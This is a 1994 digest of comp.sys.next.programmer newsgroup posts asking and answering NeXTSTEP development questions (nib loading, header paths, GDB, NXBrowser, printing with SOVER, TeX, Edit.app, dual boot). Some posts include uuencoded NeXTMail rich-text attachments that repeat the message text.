M54!23SHI4D9&*294*RY17BA#7$(Y4%$\*%-@5#%#0B=@*CM9)41@(2%("DU( M43\U,2).8"M*0D(F32Y$4$5;(DHT54PS0ETA1BX\,%@B4"Y"+%A0-2,E-B,F M*2LP43!87#@B521$/U(*33I!1U-`0R%`*$0N-D$V.CU@)"5((31@*44L+T,V M0B)!72A<0S,T5B=--2E(-EXT028Y*$8S1$<J2BPT0`I-6$),6BE2-B8C3$0G M53%60"9?4B-<25=?4"A#2ELI5#Q/*%%00#HV,S4S*2%2-BI`-R0P03=9(B)2 M4E5%"DTY*T8X,5XF42161C8P44))*4([)$-`32M"-TLO.30D)35**B@A,&!` M,3!>)30W03@K*C,O,%%$3&!)-RP*32PV+S,]+U4E,C=4-4=+2S4N+$M>+S1? M(RU'/"Q23%E124TI4#,E15TB)2DB,$A(1B@W2S!20"I06B)1*@I-1%DK0C\D M6$<Q)5-#+%T]+2)&655//S@V/#1"52168#!$12I?5D$L45='5"U&/E!)0EE+ M6C(F.4DM+2Y""DU;3SHL1$([)$XZ+"1?2CTG)C%?,R9"32E94%162#1)03@E M8%`U,TI'.#Y85D-&*5A'/"PK,#I$72TW1BH*36`U.#12/E$_*C0T.$HJ-TY+ M*F`Y2C`J03TU7$A45$(L,D9*66!=,%4X.#93(TLW-"Y*3$]7.#,A2R4G/0I- M-3$B.DDK54LI(3A-,C(B)#(O.%PP1E`M.BI",R<R7S="42$E4#4B*"@N.C)/ M22)2-C)-*U\J7%TJ3S5!"DTR/24Q+CXS3%E"7%8Y-5(H*E$X2D%@)B-!3SHL M3EE!*5DE2$Q#-4Y03#%(1S(J0U1&03I$0EHA3"D\4DL*33%-/2]4/R(B1%<Z M3DI#5E)@2&`J,2PY2"@Z)31**#$B)21(1#0J)31*2#@J)3$B530J2#9"1#0J M2%4F2`I-1R8H52,D-2183R-$-2-7-$1(*2$I*R-9.2LY/2M902PY12-5/$HA M,BHT4RXT4$@H1&`H-20X+F!(.RA%"DTT0$4A,$A2*D`A)RDA)UA1*$HA*EDO M+CE3*EE'-5I1-BE+8$DS(4A&2DA%*%A!)#HI-UA=*2$U)SHS*"H*34$C-34T M23$J.DTV.TD].4DM25$N2"Y(2V`J)2$Y*2<Q(3$E6#LZ+"<G2$TS6#<T.2Q$ M2DA&.T<]3$4L6@I-5V!8*SY;8$!%)")(4F!%,"(D)"I`)24D)$HL6$)$)2DD M8$HA)$@H53]-/4!=+2,X.4,Y,CE,0T1=52M*"DU7/C121B@O(U4Q)"U71%M! M0UU343U713I;4#XC/RXU/3M!35XS5#Q%3SI)4"4P*DX_54M((DP[4BY=4DX* M33E%7R=1.2]5+R]26U%6/S=.6D<U+DM;7$DM3$PY2"U=+$5:.T5>2TQ;(ETN M5F`B*DXF14-.*3HP,C@H6@I--3$P+$9>*DI/7$Y+4D]00%M!2%1%5"-0+$8K M.E`J3E->*34B*EHP8%=;+"0T)"(D8#1'0"4L5E50,&`T"DU4.#$I*#$Q)"1@ M,2)44#Q14UDQ(DLL*4I<3T$E8#10.D9+7D,D0$4P-"$P+3)#(20E)#`R5R]6 M3BPP,58*34I<,4Y5)U@U,B1$2BLJ.DPJ)BPR4%HP45!<-$E/2DM"(DE9*EI? M*B1"2B5$8"$T3"DD0RHH2SDG(U4S*`I-1C1*42LK)#]3.%9,6"A.0E0X4TDJ M)%%33D8D/E!*0DQ`3"@E-$(H4RM*+$@S,#PO,D)7)2,I0R\K05`G"DTD6S,M M/24\-$A65#I2*#`T(BPH/3!$/31.15TD,%I94C8N0$Y%-DM)(UTK-3170U90 M(D5-.35`2RTY*E,*32%;*#5--EQ3,$A;/3=)/3="3#`[*B1;-B1.6CM//3E2 M-C9@7CQ;5#$Z,SLO6SLD7%90-35*-ELU0#!@)`I-145%4"9%0C5*7D5+*$HV M14-0-SA&)3HV2RQ%+$4E(THR4$T\6T$V,E(H-3<P05U>23PC,U!5,SHU-C=* M"DTT,#0Q/E,R)TTG)5@Q+38T,S<A)#4P)3%,,",E5UM!6CXH5#$S-4TJ)3`R M5E,J-B)5421"*5(N1#I>-2@*34%$5U-@(3(I4CPE,#$H-S].-E)=,5LA2$HK M-4\Q4R(E34],64Q#524K5C4S0E5:1DXF3%HF*C=(634W.`I-3"HJ13U'1496 M/2I,5"A`2%LT.BLP)%U3/%M#,U-60RHJ0&!"-"M$8$(S-R$T/S8^-"M*3D`L M3DM:*BDC"DU+/$\[(D)**"LN,291*%A-6TXS7C4P-UDE-DXR-D%@*EXL-D@Z M4#HM3"TH2CI#/E\[(T]62"%50#X_/"@*35Y</RA`5CPD4"<T,S!804TN*BA0 M,"(J4$XE,S5.5EM$.D@Q(RU85R%$2TTV/%@]3UE?.$)//45*/4T\*`I-5U-- M,%,R7"9=25);1E9;55<Z75D[3E8X*4U7.SXQ6$\]3SPU)5$W*$%=4R@_/24X M-41$0B<P,DLG0%XW"DU3(EU73%@L+%Y.14=,5UI8/418(U`U63)'/D(I6#)@ M-B5%-4%((3@^0CXI,3!55$4H.UXZ.$Q!/C)9.5L*35LP-5I%7S-&034H0RU$ M0DE1+"I*.4<I+$`U+%L^/%Q-6%LP1R0D-C!*55$L(3HV62U!.D$A(4HS5T5! M*`I-73I.421(,R)2/T4I+"956$0P2"8V0D@J)EY(14LZ1SQ,0T!(72%06B]2 M3U!).BY%2B%"/"@X1%,\(V`E"DTX*TTW4"U1+")82B,S,B,B8$@H/$0F(5DL M-RHP53PG(SU04T9#+BX\/T@P35-;7B(N*CTA)#I$35@J)U\*3213021+.35! M7T@Y)$]`1R(M5B)+0U=12RD])CTU,DLG/R='/E@U/BU,.BA73R0Y6R0U6#%9 M14PQ6T-+)PI-5C`\/U=62%M#3#<M3#-51S\N7C-$5BE:2S\X72HU1#)")3,H M2D8I2UE$6$%)/%HJ5"(M5SY,758Q(TM7"DU&)R,A)"I`4S%'(S$F1F`D.BA3 M.24S+RA))#13+212(3DY4D\X.BI)0EDB4#`D-40H23TS*2(R7R9@*R@*33=> M*3,K*3LI3SD^1R5-(C=&.48[*#TG,C@S.U5"1"E&/#!>.%-"1EPF5"HR*F!! M-#A20BXQ1D<I.C133PI-(CXB2"E=+40U(3!$3DXJ1SHQ6"0Q,C)08&`Q7RY> M/$`J24HJ)C@M+$1-44`R*BHP*%,O+2LA."-",%$K"DU814%/-2$Y0%-<0SXU M7BE2,24H,T\T0$9=*5(P.5\S6#P_+C5-3#M),T5<0R@Y3%-)1U,P2D)%1#E= M-$D*34(Y/TX]+2TR-$);22<G4UI'+%PY6B%00T(J-T=633HZ4TU33E18249< M76`I5R=42DI)4D\N1SM3.C]1-@I-,2DG6D-,/R=&,5XZ23%:(DM@)5-/1$-. M748L.3`R.2I22BI>6DA<2B55-4$I/%X]+"I=.DU14THS-2I&"DU,2CDU5$,Q M/RM@7"(E-3`O7$DB,#XV1%Q4-D9.,#I.+DM,0DI/4R1(12Q912)>0C`Q+D`\ M/4Q"6")`)#,*35,R8#@\0C0U*2M(,48F22A((SXI5T5;,S(V,$A,,S1.)4\H M,20R4BE?2#(D74$R,%H^+458-E!//#)4*0I--%!(1D\D+D=@0"Y!32Y'(DQ& M22$M1D`A5"@_1#)!0C8Z.U$E-3-*1TM;*4)+72@I0E0H2#$X,B%3)2A'"DTL M)SDY(4U;,TQ:5%4N0$LR(DU,2S,P,E!-528B+#-?.59*/2U(5D0E(4LW6C9` M12TD/D94/$,]2U)-1S0*33I62TPZ/E4[8"$W)$LA)BDJ52U$*RH^2#4M4U%& M3D1+-29:0E0Y(U=81DLT7C!>8"M<3R=*.%Q*0U0Q6@I-2C(N2DLC+3TQ0C)4 M341/-39#(28A."I2.DLE*B\B-$=:)$@E4$XR5E@]1$I/4CI%-3(J-4T[63U8 M2S4K"DTK.219/EM?)2@D,#HU0DDB.R@S1SY!."(X43!91#0U1C<Z.E!,+"0Y M22(D)"A"4UXI.S$U7TQ(1%X[/4,*35LB23XA,#-834$G-2@E0"M9/E9+55M9 M5%-+*R4Z/%`Q(B)$+%(T/C=-+5$B3#\I2SE31$A?-%\Z*45#3@I-,S`K+$4A M-"5$*C%"-CHS,R1<335>3SXY0D(N+SHJ*5%(33A43SDS64PI42L^,C<M05TL M5S<W+%T]1D15"DU6*C1$+%%#)5HU3%8C,U=64U<\,R]*(3I!5%Y0*3!:-%U: M.D(W,U`R72)?/BA35UHK+SY-/V!;3DI%)V`*35`W8"LA2U!=-U!62S0S238S M259@+T0W/R<\639+(U5(75563U12*28R-5M@+S%*.R,Q5C==8$I#)"HI)@I- M5BI9-TPQ/T(^+S@Q65U",2TH/$1662%"-R1'/E170CI=63$L4EDC,DY%/3=1 M7"DR428J6SI&0$U!.5LM"DU=.$)&7C(^4#U&.D(]63M..TY7/5HJ1E<V.TL[ M*5A=358E.%A$63(F44U01S97)T1//$U7+3X[,T5&*"@*34DX2&`Q-4]7)4Y6 M,"HE(CE;*E4W3T961B)(*"DS6"8]6S52(D12/"U3.R@Y.C<I,TL\1S8]4DLQ M1RLN.`I-7#I`)E<A05LK4R\W7#HE+4A%2C])+S(T+D%,2T8V2SHG1"PH-SE= M-S4Y2UXR0S!27C-'5$A*5#I!34DD"DT_22$I.C!&3B0A43HV-S925$8Z,4TF M,#4C7#,M4EI:728Q(4$D2TDX.5=5(T`Q,4T[1DTJ0C0T7%`_(BL*32<L2$%# M8%A!1C(K23TT3SU5.2U7-B)5,#PP*2-(33,T*"XI/EPN5$161BXZ.B1:,S%6 M7U`U2T1713\J-0I-3S<M(3!7-%-6,ETO.2U50ULV5T97/%<C2E\\7R)=4RDC M6$X\-6`O(3HI(25'2T0E6TM*74\W2U8M*T=-"DTR520J6#%%.E`V,%TD6CI9 M34LW5$8Y4R\F.EI4724\.&!`,#PV*#56)55#(T1&1D)>-D=<55=0+E8\04D* M34HR7S4W)CY?.3M/,5U)+E\Q/4%4+U8A.B<_)U<\7B]`2D%+(S<M,EPA6"Q* M/5Y+-EPU/U9'.EE3+E8[,@I-759')%)!1#U1*EA-62%"7D%22C`C1EDX2TDC M24$C03]@1B-?2D!:-#M-6R,C74-@*5!34C%1,#`A0TM+"DU"*SE"25197D-+ M44(X4U-,0C5$(S!;025+3TM>(E\K2E0B0$PI,5E(2$]91BPE,2@C+2(Y6%9! M1BLQ*2@*32I&,UI;5C(G(U`K3CDO.B,J4TE)(U)2.RA#4S$J04-8*UXH2TM2 M*TY@0TLB5"=00R%,0CM+(DM3.3`A3`I-)"A"/$PG(RL[5CPI,U$Q3D!#45TL M*TE:4T$H24PJ2U0S0SDG4U9!13DQ6%@[+C0E6$TK5T)",$0C4C,L"DU+7#,[ M,TA;6$`U,"$A-$A5.$DR*SA$(51`8#$I(2)84U`E,4%4)"A#(B527#0L1&!* M1T-&3"I;+T,C.T4*34PH5"192"M#4T4K5BPK(V`T,B-=(S-#7C0R)#%+,T-$ M-#,L)%-@2R%18#DF6T@H05HO*TDX1$DY.3)$,PI-4SQ"(DDB4BY<-C$C.U\Q M-2,V1"A;5$!-63-!)2E!*25`)3$E428A)C$F02930"HL5#)4,5(G8$U9,3DH M"DTX1"$H42DA7T$I0T$A+#0T,S0S2E%/22LI+TA,64A1+CA)62Y,(BLT6U(A M1RDQ64LI+TI57#LZ.U$L+#8*351@0U@T8%0Z62]!*SDK-"PI,#0[23E$.ULY M26`I(E0Y.$-1,5$O6U$S4RPX2$8S15!:*BTI,SLY63-930I-*ELS4S$H6314 M.U,W)"(Q1%$W,3E@3E1`8$8L0#!<0R197%1",$Y,0D$^)#A<,ULU(3A;1UA. M5#5`3DQ""DU06$M&(3@T+CM`0T9$12PR+#0[-E0S3#Y334E@*5HP05D\2DPQ M/2A%4RH[2BA`6$A8,&!@8#`D,#,D1$4*350Z2F!!7#0A-&!@4V!%6$%22EI, M4DI`6T%`,U%22")645XA03!:(5Y)7EE"*48Q0D!'0"$B-C1+,TLZ-0I-*$)+ M.2@U,F`D1%!=0D-912)@7"TB(30F(E!+52$O.2)01$E/.B(T0U0U65I@2%HB M7"M")TDR*S$K*CM3"DTH32A(6$))+5%.6"4R)"Q(0TI,*2%'*B112S0I24A9 M2U%"0U-802-34U)(0D1)6$))33Q%,T132%A,.E,*351/.4Y37U-+(D!1+U%$ M7$PY/UE0)&`[7%-&.D-83#I3,T$I44(C1$%$+4!6-%113EHJ/%,S15Q303Y* M*PI-*U\Y4U%46S)42T`E-$M2-B-87$PQ0"(Q3%4J7%E(*BXH2EE75%<D0#I! M7%E#0TQ(/#,S/$,A4%TY.DDX"DU1.CQ.4T%15T`_7%M<7"1<+%PT7#Q<1%Q, M7%1;6#]43%A7,2=,7%Q=3%U475@_7%TL6T-%.EU<7B1>5%X*35Q=)%TP4CQ= M0#]`)F!@/%Q@/B1;6&`D7"@Y7%M8/T`^/%Q`)T1;6#A@(5Q<8#]$74Q>-#54 M6TA;*#]=8`I-72%<6UU@32%8)UQ<)6!-(DTA)%P](E@Y72-=(DQ<4"-<7BQ? M,%I:1STC56!8)T`A6&`X.#TC6&`X/CTE"DU0)C@X)6!8/F`G6"8X/CTG."8X M)B4E320U)R4F4#]8.4`G7290.5TH2#]8)DTD7%X\53Q;52)0/B4G.#D*35@G M12%@/T`_12I@.5@A6"==*C@Y72LE)STF/2HX/CTD-2M%*S`^.#@]*%@G0"8E M*%@G6"=8*UQ>-%I+00I-45,E(D@^)28U*B@G72I%8%TL+2T]*STH76!=+%TG M/2%%+#TA-2M`/UTK/2TX)U@_/2(L1C-;8$<P/B4J"DTX/U@^/2XX.5TF)2)- M+R4M-2H](4`G72]-*S4R+2PM+%@_72M`."4K.&`E+3@U72U4.D11*$!-(U4Q M72$*36`Y76!=,D4N32Q%8$TS*#E%+U4S73--*S4S72]5*%@_6"<U*3TB-%Y% M*54A)2M5*C4A6"=%,DTO-398/PI-73!5+"4L-3-5,"TO*"=8)5TI/2U<7D4N M+350/C@_0"%=,C`_76`]+D`X/2A-)ETM/3DU+S4E32%%*"TO"DU(.5@X8#E% M+"@X)%PE,2Q!5#Q@5UTD1%\E/D1<5314-EPR-34M(ET^33]$7"T]6UY$05@S M)2)-(ST_34`*34@G525@7UI(6UT]/B0^6UU4-"T_)$5:,#1&+4%$1CU!4T9- M.D15/#-$,44Q-"<H3S,V/#T\-R-#0UX\50I-,TA3+TU#741#7#M@54(]0"4^ M*S8S75U")$A-0C5#/4)%,3U"5$5-0R5$34,T14TW72E,,R5"731;3UQ&"DTE M1CU%14%-155!740E/RU$-44]120N141515U))4(M235(/4E$13U)54A=2D13 M/44U2CLG-4-525U+)%<*32U+-4<]0T0R74M-2EQ9-48U3#5&14--1E$V54$A M(C5!-40]2T5-0S1-1R5%+4<U34TI141,-"5'748E-0I-)4HU32U(14)-2%5/ M14HE1BU/74\E1T5/-4=51EU((UM52#50)4M<6B5*55!%4BQ"74PM425,/#DE M3$U2"DU%3%U06S1-42U%+4\]445/34@M3253)4TU3$5..S0E44M=+5%=5%U0 M+49-4#U4/5!-3U!?+4XI5D@M-$,*32E80#)3(TE-4"4]0$U8)%Q(/3`W75@M M6$T]5%LQ6259*DL\,D59-5DH1E`J35HE6BU:-5H]6D5:35I56@I-75LE6RU; M-5L]6T5:8"M01E!@)5PM7#5</5Q%7$U<55Q=725=+5TU73U=15U-7"@C4$95 M64592T,X5EU>"DU-7E5>75\E7RU?-5\]7T5?35]05E@M441(45Y@/F!&8$Y@ M5F!>(28A+B$V(3XA0%%9(CU?7B(F(BXB-B(*33XB-F`J5DXA3B,F(RXC-B,^ M(S8A7B)&(UXD)B0N(B8B4%=6(T8D5B1>)28C+B-6)#8E1B5.)4XD1B4N)@I- M+B8V)CXA4CI6)58F7B<F(CXF)B9&)T8G3B-.)E8G+B@N*#5?+B<^)U8H5BA> M8%8E/B@^*3XH/BA.*28I"DU>*28I-BE&*CXF7BE6*B8J7B=`2SU7+5X^*T!& M35==6%8L)BPM6$@_55DF*T5>/BQ.+%59-BTF+2E9)BT*33XM03LF+58M658U M7C8N,3!06SE)*BXF+DDR7BY<8"1#1B\P7S$X4$,Q0B1+-B]9+EXP*4A<+#8P M22<^,`I-6RM@1"8Q,2HY.%`Q(C=!*#101C%9)"XR*EA@0EXR5C$[7U8S*2E5 M4DXS.2$V,TE5.%5)(EXT*%Y&+BXT"DU87U8U+C4V-28N1C5(7#XU1C9@7%XV M-C!(-2U;3C<E6BXV3B]>-EXW+5M(*EXW/B\P-2@O7BPT7&`_/C@*32XN3C@^ M.$Q;7CA>-5XX-CA&.3XY3C8X-38Y-CHN.259-$=815XZ3CA..4XO8%E1*S8M M*S@F.SXL-CM,20I-*3\N.5$U,SA2-UD\/CP^+"XZ-C`P-2,I)"0Q/#XK0SA1 M*%`T-CU.+"8]6%5;*%(H+5X[.%$N)CI&.B8["DU&,4,J(T`F+%$_2%598#X_ M+5A6.C8R,4Q;+#$T4SY=62A"4%5805Y!15A.05)8(B%!-%X^2#0T,#I17D,* M3258+CHR02DK2U<^06!8/CT^/R9`/CQ!.%!/054X4UM",UL^+SM*-D0U6"8Z M-C,Z02A%1D950$Y')C)6/`I-)D)>148]5CI>+5Y'13].1U8U2#4I(B@U.#5@ M0"@H8"I%-6!8*2$X+2%8,2(X-2)8.2(E-E]8020X1218"DU))3A(2B@E(SA5 M)EA9)SA=)U@G)BDA*%DI*3DM(2DE*5DU*EDY(4DS*SE!+#DA*UE%+3E-(D4P M)3)++ED*35DO.5TO6B$P.B4P6BDQ.BTQ65@U(5\E2CDS.CTS6D$T.D4T5UDF M."I'24\V.34V*3TU2"DW*E4X.2$X*0I-,3=()SDK)3HX53HE-2TK+SI+03I8 M+SM%-3LK0SU:7SQ;+3T[43\X+3LE,&`L)4!<*4$\+4%<,4(\-4)<"DTY0SP] M03@B8",P8&!@,"Q@8#!@8&`K0"%@8&`A8#`L8&`P8&!@)B0B8&!@(F`P+&!@ M,&!@8&`H8&!@8",*36`P+&!@,&!@8&`T8&!@8"9@,"Q@8#!@8&!@)&!@8&`Q M8#`P8&!08&!@+5A$8&!@-6`P+&!@,&!@8&`D8`I-8&!@-F`P,&!@,&!@8")$ M(6!@8#=@,#!@8%!@8&`N2$1@8&`Z8#`T8&`P8&!@+SA$8&!@.V`P-&!@,&!@ M"DU@+UA$8&!@/&`P+&!@,&!@8&`H8&!@8$A@,"Q@8#!@8&!@*&!@8&!@8&!@ M8")@8&!@*"@R8&`B."A08&`*/#Y!*&!@(3@Q8&`B1&!@8&!`+U`J8"%@1V!@ M(F!?8$A@)"(\8&!@8&`*8`I]"JQ]7'!A<F1<='@Q,34R7'1X,C,P-%QT>#,T M-39<='@T-C`X7'1X-3<V,%QT>#8Y,3)<='@X,#8T7'1X.3(Q-EQT>#$P,S8X M7'1X,3$U,C!<9C!<8C!<:3!<=6QN;VYE7&9S,C1<9F,P7&-F,"!<"EP*5&AE M<F4@>6]U(&=O("XN+B!T:&4@;7D@4')E9G-#;VYT<F]L;&5R(&]B:F5C="!C M86QL<R!L;V%D3FEB+"!W:&5N(&UE<W-A9V5S('1H92!A<'!L:6-A=&EO;B!T M;R!L;V%D3FEB4V5C=&EO;CHN+BP@=&AE;B!)0D]U=&QE=$-O;FYE8W1O<B!S M965M<R!T;R!D96-I9&4@=&\@;F]T:69Y('1H92!0<F5F<T-O;G1R;VQL97(@ M*'1H92!T87)G970@;V8@=&AE(&%C=&EO;BD@=VET:"!T:&4@87!P<F]P<FEA M=&4@;65S<V%G92!F;W(@=&AA="!C;VYT<F]L("AS971296IE8W125$8Z*2Y< M"EP*22=V92!S8V]U<F5D('1H92!D;V-U;65N=&%T:6]N+"!B=70@;F]T:&EN M9R!S=&%T97,@=&AA="!T:&ES(&YO=&EF:6-A=&EO;G,@<VAO=6QD(&]C8W5R M+B`@22!H879E(&$@=V]R:V%R;W5N9"P@8G5T($DG9"!L:6ME('1O(&MN;W<@ M"EQI('=H>3]<"@I<:3`@7`H*7'!A<F1<='@U,C!<='@Q,#8P7'1X,38P,%QT M>#(Q,C!<='@R-C8P7'1X,S(P,%QT>#,W,C!<='@T,C8P7'1X-#@P,%QT>#4S M,C!<9C%<9F,P7&-F,"`M+5P*0T].1U)!5%5,051)3TY3(2`@3F]W('-H;W5L M9"!)(&UA:V4@=&AI;FQY('9E:6QE9"!C;VUM96YT<R!A8F]U=%P*($1)1TY) M5%DL('-E;&8M97-T965M(&%N9"!F:6YD:6YG(%12544@1E5.(&EN('EO=7(@ M4DE'2%0@5D5.5%))0TQ%/S]<"B!<"DAO=V%R9"!3:&EP("!H<VAI<$!Z96XN D8V%C+G-T<F%T=7,N8V]M("!;3F585"!-86EL($]+75P*"GT* `
From: hship@sinistar (Howard Ship) Newsgroups: comp.sys.next.programmer Subject: Re: Targets notified by loadNibSection: ? Date: 18 Mar 1994 22:38:26 GMT Organization: Stratus Computer Inc, Marlboro MA Message-ID: <2mdah3$66a@transfer.stratus.com> References: <2md902$4r1@transfer.stratus.com> In article <2md902$4r1@transfer.stratus.com> hship@sinistar (Howard Ship) writes: I'm building a preferences panel. In init:, then panel registers its defaults. In showPrefsPanel:, it loads the nib file (if necessary), then sends setStringValue: and setIntValue: messages at the different controls. The problem is, inside loadNibSection: its seems to be sending action messages to my controls ... which cause them to update the defaults database, BEFORE my code gets a chance to initialize them with the correct default values. Okay, anyway, same piece of code ... all but one of my outlets is not getting initialized! Same prefs panel, I have about a dozen outlets. One point to the panel .. it gets initialized inside loadNibSection: The others do not. I've checked, double checked, and re-saved my nib file. This has got me pissed off! -- What's the MATTER Sid?.. Is your BEVERAGE unsatisfactory? Howard Ship hship@zen.cac.stratus.com [NeXT Mail OK]
From: dwyan@cisnext.cis.nctu.edu.tw (Dai-Woei Yan) Newsgroups: comp.sys.next.programmer Subject: Question about Header file Date: 19 Mar 1994 00:34:46 GMT Organization: Dept. of Computer & Information Science, NCTU, Taiwan Message-ID: <2mdhb6$8e9@news.cis.nctu.edu.tw> Sorry, a Q about NeXT header file I have installed NeXTSTEP/FIP Release 3.2 on my 486-66 PC, and the Developer is Release 3.1. When I was compiling "sysinfo" UNIX utility, I found a problem. Segment from /NextDeveloper/Headers/bsd/dev/m68k/busvar.h --- #import <kernserv/queue.h> #import <sys/callout.h> #import <bsd/dev/busvar.h> --- But there is no bsd/dev/busvar.h, I use "find" command to search, just can find /NextDeveloper/Headers/bsd/dev/m68k/busvar.h ! Finally I change the line to "#import <bsd/dev/m68k/busvar.h>", and it works, but I am not sure if it's ok ?? Can anyone tell me if it is a bug or simply I make a mistake ? -- Dai-Woei Yan | Dept. of Computer & Information Science is81084@cis.nctu.edu.tw | National Chiao-T'ung University, Taiwan
Newsgroups: comp.sys.next.misc,comp.sys.next.programmer From: risinger@netcom9.netcom.com (James A. Risinger) Subject: GDB 4.7 for m68k NeXT Message-ID: <RISINGER.94Mar18165932@netcom9.netcom.com> Sender: risinger@netcom.com (James A. Risinger) Organization: NETCOM On-line services Date: Sat, 19 Mar 1994 00:59:31 GMT I am desperately seeking a version of GDB 4.7 or above for NS 3.0 on Motorola. I got the distribution from prep.ai.mit.edu, but it does not have a configuration option for NS. I spoke with someone from Cygnus, and they indicated that NeXT probably hacked up the configuration for GDB and didn't put it back in the FSF distribution. So, if anyone has the configuration for GDB, could you please contact me and let me know where I can get it from. If all else fails, could someone who has GDB 4.7 or greater mail me a gzip'ed uuencoded copy of the exe? I know that would be a pain, but I really need a more current version of GDB and am not very interested in hacking GDB to get it to read Mach-O files. Any help is greatly appreciated. Thanks in advance, James A. Risinger risinger@netcom.com
From: bussarj@alleg.edu (Jeremy Allan Bussard) Newsgroups: comp.sys.next.programmer Subject: Help with NXBrowser Date: 19 Mar 1994 04:46:21 GMT Organization: Allegheny College Message-ID: <2me02t$het@mustang.alleg.edu> Good evening everyone... I was wondering if there was any sample code that showed how to get a listing of a directory into a browser (i.e. like Workspace)? If there is would someone be so kind as to e-mail me where I can find this code. Any and all help is greatly appreciated. -- ########################## bussarj@alleg.edu ############################ "When a person sees desire and dedication within the self, that person has the realization of hope... When this same person also sees inspiration within desire and dedication, that person then has the realization of a dream..." ######################### Jeremy Allan Bussard ########################## -- NewsGrazer, a NeXTstep(tm) news reader, posting -- M>UQR=&8P7&%N<VE[7&9O;G1T8FQ<9C!<9FUO9&5R;B!#;W5R:65R.WT*7&UA M<F=L,3(P"EQM87)G<C$R,`I<<&%R9%QT>#$Q-3)<='@R,S`T7'1X,S0U-EQT M>#0V,#A<='@U-S8P7'1X-CDQ,EQT>#@P-C1<='@Y,C$V7'1X,3`S-CA<='@Q M,34R,%QF,%QB,%QI7'5L;F]N95QF<S(T7&9C,%QC9C`@1V]O9"!E=F5N:6YG M(&5V97)Y;VYE+BXN7`I<"@E)('=A<R!W;VYD97)I;F<@:68@=&AE<F4@=V%S M(&%N>2!S86UP;&4@8V]D92!T:&%T('-H;W=E9"!H;W<@=&\@9V5T(&$@;&ES M=&EN9R!O9B!A(&1I<F5C=&]R>2!I;G1O(&$@8G)O=W-E<B`H:2YE+B!L:6ME M(%=O<FMS<&%C92D_($EF('1H97)E(&ES('=O=6QD('-O;65O;F4@8F4@<V\@ M:VEN9"!A<R!T;R!E+6UA:6P@;64@=VAE<F4@22!C86X@9FEN9"!T:&ES(&-O M9&4N($%N>2!A;F0@86QL(&AE;'`@:7,@9W)E871L>2!A<'!R96-I871E9"Y< M"EP*+2U<"B,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(&)U<W-A<FI`86QL M96<N961U(",C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R-<"B)7:&5N(&$@ M<&5R<V]N('-E97,@9&5S:7)E(&%N9"!D961I8V%T:6]N('=I=&AI;B!T:&4@ M<V5L9BP@("`@("`@("`@("`@("`@7`H@=&AA="!P97)S;VX@:&%S('1H92!R M96%L:7IA=&EO;B!O9B!H;W!E+BXN("`@("`@("`@("`@("`@("`@("`@("`@ M("`@("`@(%P*5VAE;B!T:&ES('-A;64@<&5R<V]N(&%L<V\@<V5E<R!I;G-P M:7)A=&EO;B!W:71H:6X@9&5S:7)E(&%N9"!D961I8V%T:6]N+"!<"B!T:&%T M('!E<G-O;B!T:&5N(&AA<R!T:&4@<F5A;&EZ871I;VX@;V8@82!D<F5A;2XN M+B)<"B,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,@2F5R96UY($%L;&%N($)U M<W-A<F0@(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,@("`@("`@("`@("`@ ,("`@("`@("`@"GT* `
From: ccwf@ludwig.klab.caltech.edu (Charles Fu) Newsgroups: comp.sys.next.programmer Subject: Re: compositing with SOVER and printing? Date: 19 Mar 1994 11:05:19 GMT Organization: Bacchus, Inc. Message-ID: <2mem9f$gik@gap.cco.caltech.edu> References: <gelatoCMorCB.Jxx@netcom.com> In article <gelatoCMorCB.Jxx@netcom.com>, Steve James <gelato@netcom.com> wrote: >Can anyone point me at some example code/doc that explains how to deal >with the problem that composite with SOVER does not come out right if >NXDrawingStatus == NX_PRINTING? One workaround is to convert the PostScript to a TIFF file with no alpha channel using, for example, PixelMagician, or write your own routine. Be sure to do this at the resolution of the destination printer. Now that there is no transparency, the image will print as expected (but, probably, much more slowly). ,-- ___ __ __. . ,-/-- Computers are useless. They can only give (_,(_,|/|/ / you answers. -Pablo Picasso --'
From: ccwf@ludwig.klab.caltech.edu (Charles Fu) Newsgroups: comp.sys.next.programmer Subject: Re: Mathematical typesetting Date: 19 Mar 1994 11:21:17 GMT Organization: California Institute of Technology, Pasadena Message-ID: <2men7d$h2q@gap.cco.caltech.edu> References: <1994Mar18.021932.7484@princeton.edu> In article <1994Mar18.021932.7484@princeton.edu>, Paul Lansky <paul@phoenix.Princeton.EDU> wrote: > >What is the best software out there for typesetting >Mathematical expressions? thanks What exactly do you mean by "best"? Easy to use? Best-looking results? Must portable? Are you dissatisfied with the TeX that comes with your NeXT? For really good-looking results for most typesetting needs and especially for mathematical typesetting, it's hard to find a program that beats TeX. You may also want to look at macro packages for TeX like AMSTex, used (I believe now required) by the American Mathematical Society. ,-- Mathematicians are like Frenchmen: whenever you ___ __ __. . ,-/-- say something to them, they translate it into (_,(_,|/|/ / their own tongue, and at once it is something --' entirely different. -Goethe
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: An Edit.app difference b/w 3.1 and 3.2? Date: 19 Mar 1994 16:01:27 -0000 Organization: me organised, that's a joke. Message-ID: <2mf7kn$28l@steffi.demon.co.uk> It is me? In 3.1 you could just tripple click a line like #import "Mailer.h" and then CMD O would open the file. 3.2 seems to only use the selection as the file name ie. it literally looks for a file called "#import "Mailer.h" where as 3.1 was a bit smarter in this context... Either that or I'm missing something... There's no mention of a change in the Release notes. -- "You know what's wrong with you?" (Audrey Hepburn, Cary Grant) "No, what?" "Nothing" (Charade, 1963) (ASCII for text only messages)
Newsgroups: comp.sys.next.programmer From: catsmeat@netcom.com (Peter Thompson) Subject: Lost my dual-boot! Help! Message-ID: <catsmeatCMx92E.Kp@netcom.com> Summary: Installed Dos6.2, lost dual boot. Argh. Keywords: DOS6.2 Dual-boot Argh Whimper Organization: Relax, Don't Worry, Have a Homebrew! Date: Sat, 19 Mar 1994 17:11:02 GMT Help me O great next-gurus! Like some newbie-geek, I went to install DOS 6.2 over the older DOS 6.0 on my DOS partition, and when it went to reboot, instead of asking for NeXT or DOS, it went straight to DOS. Is there a solution, short of rebuilding the entire disk? Any solutions found will be reposted, flames will be ignored. Thanks in advance, Peter Thompson catsmeat@netcom.com (408) 459-8399 (phone)
